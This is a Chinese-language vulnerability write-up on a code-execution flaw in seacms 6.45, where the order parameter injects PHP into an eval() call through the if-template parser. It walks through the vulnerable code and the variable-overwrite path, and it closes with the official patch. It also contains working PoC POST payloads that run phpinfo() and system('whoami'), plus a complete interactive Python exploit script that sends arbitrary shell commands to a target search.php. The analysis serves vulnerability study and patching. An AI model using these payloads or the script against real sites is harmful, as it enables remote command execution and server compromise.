漏洞概况

这个漏洞的成因是因为对if标签解析过滤不严导致的代码执行漏洞,这个漏洞seacms官方打过几次补丁,但是很遗憾的是每次都不太尽如人意,这次先分析seacms 6.45 版本中的漏洞成因。

复现环境

  • seacms 6.45
  • php 5.4.45
  • Ubuntu 18.04 + mysql 5.7 + Apache2

seacms 目录结构

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
│──admin //后台管理目录
│ │──coplugins //已停用目录
│ │──ebak //帝国备份王数据备份
│ │──editor //编辑器
│ │──img //后台静态文件
│ │──js //后台js文件
│ │──templets //后台模板文件
│──article //文章内容页
│──articlelist //文章列表页
│──comment //评论
│ │──api //评论接口文件
│ │──images //评论静态文件
│ │──js //评论js文件
│──data //配置数据及缓存文件
│ │──admin //后台配置保存
│ │──cache //缓存
│ │──mark //水印
│ │──sessions //sessions文件
│──detail //视频内容页
│──include //核心文件
│ │──crons //定时任务配置
│ │──data //静态文件
│ │──inc //扩展文件
│ │──webscan //360安全监测模块
│──install //安装模块
│ │──images //安装模块静态文件
│ │──templates //安装模块模板
│──js //js文件
│ │──ads //默认广告目录
│ │──player //播放器目录
│──list //视频列表页
│──news //文章首页
│──pic //静态文件
│ │──faces //表情图像
│ │──member //会员模块界面
│ │──slide //旧版Flash幻灯片
│ │──zt //专题静态文件
│──templets //模板目录
│──topic //专题内容页
│──topiclist //专题列表页

漏洞分析

PoC 1:

1
2
3
4
5
// URL
http://192.168.247.134/seacms645/upload/search.php

// POST
searchtype=5&order=}{end if} {if:1)phpinfo();if(1}{end if}

1

PoC 2:

1
2
3
4
5
// URL
http://192.168.247.134/seacms645/upload/search.php

// POST
searchtype=5&order=}{end if}{if:1)$_POST[func]($_POST[cmd]);if(1}{end if}&func=system&cmd=whoami

1-2

漏洞代码出现在include/main.class.php中:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
function parseIf($content){
if (strpos($content,'{if:')=== false){
return $content;
}else{
$labelRule = buildregx("{if:(.*?)}(.*?){end if}","is");
$labelRule2="{elseif";
$labelRule3="{else}";
preg_match_all($labelRule,$content,$iar);
$arlen=count($iar[0]);
$elseIfFlag=false;
for($m=0;$m<$arlen;$m++){
$strIf=$iar[1][$m];
$strIf=$this->parseStrIf($strIf);
$strThen=$iar[2][$m];
$strThen=$this->parseSubIf($strThen);
if (strpos($strThen,$labelRule2)===false){
if (strpos($strThen,$labelRule3)>=0){
$elsearray=explode($labelRule3,$strThen);
$strThen1=$elsearray[0];
$strElse1=$elsearray[1];
@eval("if(".$strIf."){\$ifFlag=true;}else{\$ifFlag=false;}");

上面这段代码主要任务是解析{if:}{end if}标签,取出if语句的条件判断部分(也就是$strIf)与"if(""){\$ifFlag=true;}else{\$ifFlag=false;}"拼凑完整的代码调用eval()函数执行。

关于这个正则表达式{if:(.*?)}(.*?){end if},只需要理解(.*?)是什么。在正则表达式匹配中有两种匹配模式:贪婪模式非贪婪模式

先看一个贪婪匹配的例子:

1
2
3
4
5
6
// 源字符串
aa<div>test1</div>bb<div>test2</div>cc
// 正则表达式
<div>.*</div>
// 匹配结果
<div>test1</div>bb<div>test2</div>

再看一个非贪婪匹配的例子:

1
2
3
4
5
6
// 源字符串
aa<div>test1</div>bb<div>test2</div>cc
// 正则表达式
<div>.*?</div>
// 匹配结果
<div>test1</div>

通过preg_match_all()函数匹配后将结果输出到$iar中。

6

可以看到payload经过正则表达式的处理,可以得到下面的结果:

1
2
3
4
5
6
// 原表达式
}{end if} {if:1)phpinfo();if(1}{end if}
// 正则表达式
{if:(.*?)}(.*?){end if}
// 匹配结果
1)phpinfo();if(1

在遇到第一个{if:(.*?)}中的(.*?)的时候匹配就已经完成。

5

我们看到$iar[1][95]中的值是我们想要的值,为了调试方便,我们直接在断点处右键,将Condition设置为$m==95

7

此时"if(".$strIf."){\$ifFlag=true;}else{\$ifFlag=false;}"拼凑起来就是

1
if(1)phpinfo();if(1){$ifFlag=true;}else{$ifFlag=false;}

然后我们看下这个参数是如何传递到parseIf()函数的。这个函数是在search.php中由函数echoSearchPage()触发:

9

先来看一下echoSearchPage()这个函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
function echoSearchPage()
{
global $dsql,$cfg_iscache,$mainClassObj,$page,$t1,$cfg_search_time,$searchtype,$searchword,$tid,$year,$letter,$area,$yuyan,$state,$ver,$order,$jq,$money,$cfg_basehost;
$order = !empty($order)?$order:time;
...
...
...
$content = str_replace("{searchpage:page}",$page,$content);
$content = str_replace("{seacms:searchword}",$searchword,$content);
$content = str_replace("{seacms:searchnum}",$TotalResult,$content);
$content = str_replace("{searchpage:ordername}",$order,$content);
...
...
...
$content=replaceCurrentTypeId($content,-444);
$content=$mainClassObj->parseIf($content);

$order这个参数可以通过变量覆盖来传入。我们知道造成变量覆盖漏洞比较常见的原因有下面几种:

  1. $$:使用foreach遍历数组中的值,然后将获取到的数据键名(key)作为变量,将数组中的键值(value)作为变量的值,从而导致了变量覆盖漏洞。
  2. extract()函数使用不当
  3. parse_str()函数使用不当

$order参数导致的变量覆盖就是使用$$导致的,这个我们后面再看。seacms没有对$order变量做任何过滤,直接用这个变量替换了模板中的{searchpage:ordername}

1
$content = str_replace("{searchpage:ordername}",$order,$content);

替换后的html模板内容为:

1
2
3
<a href="{searchpage:order-time-link}" {if:"}{end if} {if:1)phpinfo();if(1}{end if}"=="time"} class="btn btn-success" {else} class="btn btn-default" {end if} id="orderhits">最新上映</a>
<a href="{searchpage:order-hit-link}" {if:"}{end if} {if:1)phpinfo();if(1}{end if}"=="hit"} class="btn btn-success" {else} class="btn btn-default" {end if} id="orderaddtime">最近热播</a>
<a href="{searchpage:order-score-link}" {if:"}{end if} {if:1)phpinfo();if(1}{end if}"=="score"} class="btn btn-success" {else} class="btn btn-default" {end if} id="ordergold">评分最高</a>

接着$content会经过parseIf()函数的解析。

接着我们看一下$order参数是如何传入的。

在seacms的程序中在开头大多会包含include/common.php文件,这个文件比较奇怪的是它会先进行变量的注册,然后再进行变量的检查,因为按照正常的流程,应该是先经过变量的检查,然后再进行变量的注册。

2

因为所有对Web应用的攻击都要传入有害的参数,所以代码安全的基础就是对传入的参数进行有效的过滤,比如SQL注入漏洞,如果能够过滤掉单引号就能防御大部分的string类型SQL注入。在seacms中进行参数过滤也就是对变量进行检查的代码如下:

3

造成变量覆盖的代码就在这个foreach循环:

1
foreach($$_request as $_k => $_V) ${$_k} = _RunMagicQuotes($_v);

我们可以传入$order,这个变量会在${$_k}被注册为内部变量。

这里是调用了_RunMagicQuotes()对我们提交的变量进行检查,其实就是调用了addslashes()函数,但这其实并不影响payload的执行。

4

从下图可以看到传递进来的变量已经直接注册为内部的变量了,并且经过了_RunMagicQuotes()函数之后,我们传入的变量值并没有发生改变,这说明这些参数都是用户可控的。

15

PoC构造注意点

这个漏洞在构造PoC时还需要满足的条件是令$searchtype的值为5,在进入echoSearchPage()函数之前会先检查$searchword$searchtype的值,要进入echoSearchPage()函数必须满足以下任意一个条件:

  1. $searchword不为空字符串
  2. $searchtype为5

10

但是如果成功的执行payload,就必须使$searchtype的值为5。

比如:

1
searchword=12&order=}{end if} {if:1)phpinfo();if(1}{end if}

我们不传入$searchtype的值,仅传入$searchword

13

此时的template路径就是$searchTemplatePath也就是/templets/default/html/search.html

我们知道PoC成功执行的关键在于会对$content内容进行替换,将$content中的{searchpage:ordername}替换为$order中的内容,也就是}{end if} {if:1)phpinfo();if(1}{end if}

1
2
3
4
$content = str_replace("{searchpage:page}",$page,$content);
$content = str_replace("{seacms:searchword}",$searchword,$content);
$content = str_replace("{seacms:searchnum}",$TotalResult,$content);
$content = str_replace("{searchpage:ordername}",$order,$content);

但是在/templets/default/html/search.html中却没有{searchpage:ordername}

14

$searchtype的值为5时,intval($searchtype)的值就是5,会进入下面这个if逻辑。

11

此时$searchTemplatePath的值就是,也就是模板的路径为/templets/default/html/cascade.html,我们可以看到在这个文件中是存在{searchpage:ordername}的,所以可以成功被$order替换。

12

整个流程分析下来,我们可以得出下面的漏洞流程图。

process

python 脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
__author__ = 'Bantian'

import sys
import requests

def help():
print("Usage : ")
print(" python %s [URL]" % sys.argv[0])
print("Example : ")
print(" python %s http://example.com/search.php" % (sys.argv[0]))
print("Type command 'q' for exit")

def poc():
help()
if not sys.argv[1].endswith("search.php"):
print("[+] Please make sure url end with search.php")
else:
while 1:
code = input("-> ")
if code != "q":
postdata = {
"searchtype" : "5",
"order" : "}{end if}{if:1)print_r($_POST[1]($_POST[2]));//}{end if}",
"1" : "system",
"2" : code
}
r = requests.post(url = sys.argv[1], data = postdata)
idx = r.text.find("<!DOCTYPE html>")
print(r.text[:idx])
else:
exit()

if __name__ == "__main__":
try:
poc()
except Exception as e:
print("It only works for seacms v6.45!")

结果:

16

官方补丁

该漏洞seacms在6.54版本中进行了修复,修复内容如下。

1
$order = ($order == "commend" || $order == "time" || $order == "hit") ? $order : "";

patch_645

这样修复的目的是禁止攻击者再通过$order参数传入payload,攻击者通过$order传入的参数如果不为commend、time或者hit都会被清空。

参考

  1. https://www.cnblogs.com/tr1ple/p/11101008.html
  2. https://www.cnblogs.com/tr1ple/p/11100975.html
  3. https://bbs.ichunqiu.com/thread-35085-1-1.html
  4. https://www.freebuf.com/column/150731.html